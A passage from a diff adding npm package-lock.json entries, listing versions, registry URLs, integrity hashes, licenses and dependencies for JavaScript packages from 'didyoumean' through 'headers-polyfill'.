"sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==", + "license": "MIT" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/diff": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.3.tgz", + "integrity": "sha512-qejHi7bcSD4hQAZE0tNAawRK1ZtafHDmMTMkrrIGgSLl7hTnQHmKCeB45xAcbfTqK2zowkM3j3bHt/4b/ARbYQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true, + "license": "MIT" + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/dompurify": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.7.tgz", + "integrity": "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw==", + "license": "(MPL-2.0 OR Apache-2.0)", + "peer": true, + "optionalDependencies": { + "@types/trusted-types": "^2.0.7" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.286", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.286.tgz", + "integrity": "sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A==", + "dev": true, + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/entities": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", + "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", + "dev": true, + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.2.0.tgz", + "integrity": "sha512-3lGxdTXCLfe1MYfTz1y2ksAAUM4NAOP6rPEjxGJVKO7TZ5+tvHCaQWGpC4Y3IXvW3ece0Cz1cIP4FWBxOnGCTQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-toolkit": { + "version": "1.45.1", + "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.45.1.tgz", + "integrity": "sha512-/jhoOj/Fx+A+IIyDNOvO3TItGmlMKhtX8ISAHKE90c4b/k1tqaqEZ+uUqfpU8DMnW5cgNJv606zS55jGvza0Xw==", + "license": "MIT", + "workspaces": [ + "docs", + "benchmarks" + ] + }, + "node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "9.39.3", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.3.tgz", + "integrity": "sha512-VmQ+sifHUbI/IcSopBCF/HO3YiHQx/AVd3UVyYL6weuwW+HvON9VYn5l6Zl1WZzPWXPNZrSQpxwkkZ/VuvJZzg==", + "dev": true, + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.1", + "@eslint/config-helpers": "^0.4.2", + "@eslint/core": "^0.17.0", + "@eslint/eslintrc": "^3.3.1", + "@eslint/js": "9.39.3", + "@eslint/plugin-kit": "^0.4.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz", + "integrity": "sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" + } + }, + "node_modules/eslint-plugin-react-refresh": { + "version": "0.4.26", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", + "integrity": "sha512-1RETEylht2O6FM/MvgnyvT+8K21wLqDNg4qD51Zj3guhjt433XbnnkVttHMyaVyAFD03QSV4LPS5iE3VQmO7XQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "eslint": ">=8.40" + } + }, + "node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", + "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.15.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "license": "MIT" + }, + "node_modules/expect-type": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", + "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/flatted": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", + "dev": true, + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", + "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fraction.js": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "16.5.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", + "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graphql": { + "version": "16.12.0", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-16.12.0.tgz", + "integrity": "sha512-DKKrynuQRne0PNpEbzuEdHlYOMksHSUI8Zc9Unei5gTsMNA2/vMpoMz/yKba50pejK56qj98qM0SjYxAKi13gQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.16.0 || ^16.0.0 || >=17.0.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/headers-polyfill": { + "version": "4.0.3", + "resolved": 